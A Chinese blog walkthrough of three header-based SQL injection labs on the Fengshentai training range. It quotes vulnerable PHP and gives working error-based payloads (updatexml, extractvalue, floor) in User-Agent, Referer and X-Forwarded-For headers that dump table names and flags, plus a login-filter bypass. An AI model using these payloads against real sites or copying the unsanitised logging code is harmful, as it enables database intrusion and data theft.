封神台靶场-Head注入

思维导图
image

Head注入(一)

image

核心代码

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

我们注意到这里的语句

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}

它这里是有对输入输入框的单引号'做过滤的,所以我们要换一条路,不能直接在输入框尝试。

我们往下看,注意到代码

if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);

它这里的意思很简单,其实就是如果我们登陆成功了,就会把我们User-Agent和username记录到数据库里面

那么我们这里是不是可以通过User-Agent这里找到另一条路,我们可以采用报错注入

采用updatexml报错注入法查询数据库名

修改User-Agent为:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

然后进行登录(admin&123456)【这里的用户名密码是需要我们猜出来的】

然后成功爆出数据库名:head_error

查询当前库下表名

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

得出表名:flag_head,ip,refer,uagent,user

查询flag_head表下字段名

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e),1) or '

得出flag-head表字段名:Id,flag_h1

查询flag_head表下flag_h1字段数据

User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e),1) or '

得到flag_head表下flag_h1数据:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

提交验证,zKaQ-YourHd是本题flag

Head注入(二)

image

核心代码

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

我们注意到这一题基本代码和上一题是很像的,只不过本题放入数据库保存的不再是User-Agent,变成了Refer头,仍属于Head头注入

本题我们仍采用报错注入,这里换一种方式,采用语句extractvalue

查询数据库名

Refer:
' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '

得到数据库名:head_error

查询当前库下表名

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '

得出当前库下表名:flag_head,ip,refer,uagent,user

查询flag_head表字段名

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e)) or '

得出flag_head表字段名:Id,flag_h1

查询flag_head表下flag_h1数据

Refer:
' or extractvalue(1,concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e)) or '

得到flag_head表下flag_h1数据:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

提交验证,zKaQ-Refer是本题flag

Head注入(三)

image

核心代码


function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

我们注意到他这里用了一个很有意思的函数

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

这个函数可以获取当前登录该网站的用户的IP信息

而且我们注意到它这里获取的IP信息也被保存到数据库里面了,而且没有进行过滤

image

所以我们可以针对他这个X-Forwarded-For进行注入,仍然属于Head注入

于是接下来我们开始注入,这里我们采用另一种不同的方式floor报错注入方式

查询数据库信息

添加X-Forwarded-For: 
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '

得出数据库名:head_error

查询表名信息

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出当前库下表名:flag_head,ip,refer,uagent,user

查询flag_head表下字段信息

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出flag_head表下字段为:Id,flag_h1

查询flag_head表下flag_h1数据

修改X-Forwarded-For:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

得出flag_head表下flag_h1数据:zKaQ-YourHd,zKaQ-Refer,zKaQ-ipip

经过验证zKaQ-ipip为本题flag

额外补充
我们知道上面三个Head注入靶场都有对单引号'进行过滤,但是我们其实可以进行绕过

我们在第一个框中填入\,在第二个框中填入or 1=1 -- qwe就可以进行绕过

image

实际执行代码

select *from user where username ='\' and password='or 1=1 -- qwe'

后续按照常规显错注入进行即可

posted @ 2021-09-03 21:31  hacker-裁决者  阅读(914)  评论(0)    收藏  举报